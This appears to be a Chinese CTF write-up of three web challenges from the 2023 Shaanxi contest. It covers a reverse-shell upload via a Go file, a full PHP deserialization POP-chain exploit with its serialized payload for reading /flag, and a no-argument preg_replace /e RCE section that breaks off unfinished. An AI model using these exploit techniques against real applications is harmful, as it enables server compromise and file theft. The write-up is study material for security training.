1.2023陕西省赛---test
考点:
GO代码编写
反弹shell
步骤:
打开题目
注册进入
没啥信息,查看页面源码发现可以路由
尝试访问/profile/admin,发现信息泄露
把密码拿去md5解密得到
登录
根据提示上传go文件程序会自动执行
编写反弹shell的Go代码,文件命名为hack.go
(来源:官方wp)
在页面HTML编辑标签
写入文件上传的HTML代码
<form action="" enctype="multipart/form-data" method="post">
<input type="file" name="file" id="">
<input type="submit" value="submit">
</form>
上传编写的hack.go,服务器监听,反弹至服务器。
2.2023陕西省赛--ezpop
考点:
CSS属性、PHP反序列化构造
打开题目
访问题目发现要求 Click Me,但是点不动,尝试F12,右键和 Ctrl+U 发现均会关闭页面,在地址栏F12,成功,查看app.eceb0255.js,发现可疑编码
base64解码得到/pop3ZTgMw.php,访问
构造pop链子:
unserialize() 会去调用 night 类的 __destruct() 方法,由于方法中的 echo $this->night . '哒咩哟'; 把这个对象当成了字符串,所以调用了 day 类的 __toString() 方法,然后再调用 dark 类里的 go() 方法,然后在 go() 方法里把这个对象当成了方法使用,所以就去调用了 light 类的 __invoke 方法,又因为在 __invoke 方法里再次调用了一个不存在的 d() 方法,接着就会去调用 day 类里的 __call 方法,最后去调用 dark 类里的 getFlag() 方法。
编写exp:
<?php
class night
{
public $night;
}
class day
{
public $day;
}
class light
{
public $light;
}
class dark
{
public $dark;
}
$a=new night();
$a->night=new day();
$a->night->day=new dark();
$a->night->day->dark=new light();
$a->night->day->dark->light=new day();
$a->night->day->dark->light->day=new dark();
$a->night->day->dark->light->day->dark='php://filter/convert.base64-encode/resource=/flag';
echo serialize($a);
?>
输出结果:O:5:"night":1:{s:5:"night";O:3:"day":1:{s:3:"day";O:4:"dark":1:{s:4:"dark";O:5:"light":1:{s:5:"light";O:3:"day":1:{s:3:"day";O:4:"dark":1:{s:4:"dark";s:49:"php://filter/convert.base64-encode/resource=/flag";}}}}}}
注意:传参有不可见字符,整个复制
然后使用burp传参 ,同时要绕过exception,把night的类内数量由1改为2,改完之后
O:5:"night":2:{s:5:"night";O:3:"day":1:{s:3:"day";O:4:"dark":1:{s:4:"dark";O:5:"light":1:{s:5:"light";O:3:"day":1:{s:3:"day";O:4:"dark":1:{s:4:"dark";s:49:"php://filter/convert.base64-encode/resource=/flag";}}}}}},传参
把结果拿去base64解码即可
官方绕过:
3.2023陕西省赛--ezrce
考点:
无参rce
打开题目
传入key得到源码
注意到
preg_replace函数启用/e模式:
用于指定替换字符串中的代码应该被解释为PHP代码
这里就是利用点
简单构造,有过滤,不行
尝试无参函数rce
也被过滤了很多函数
经过尝试
还可以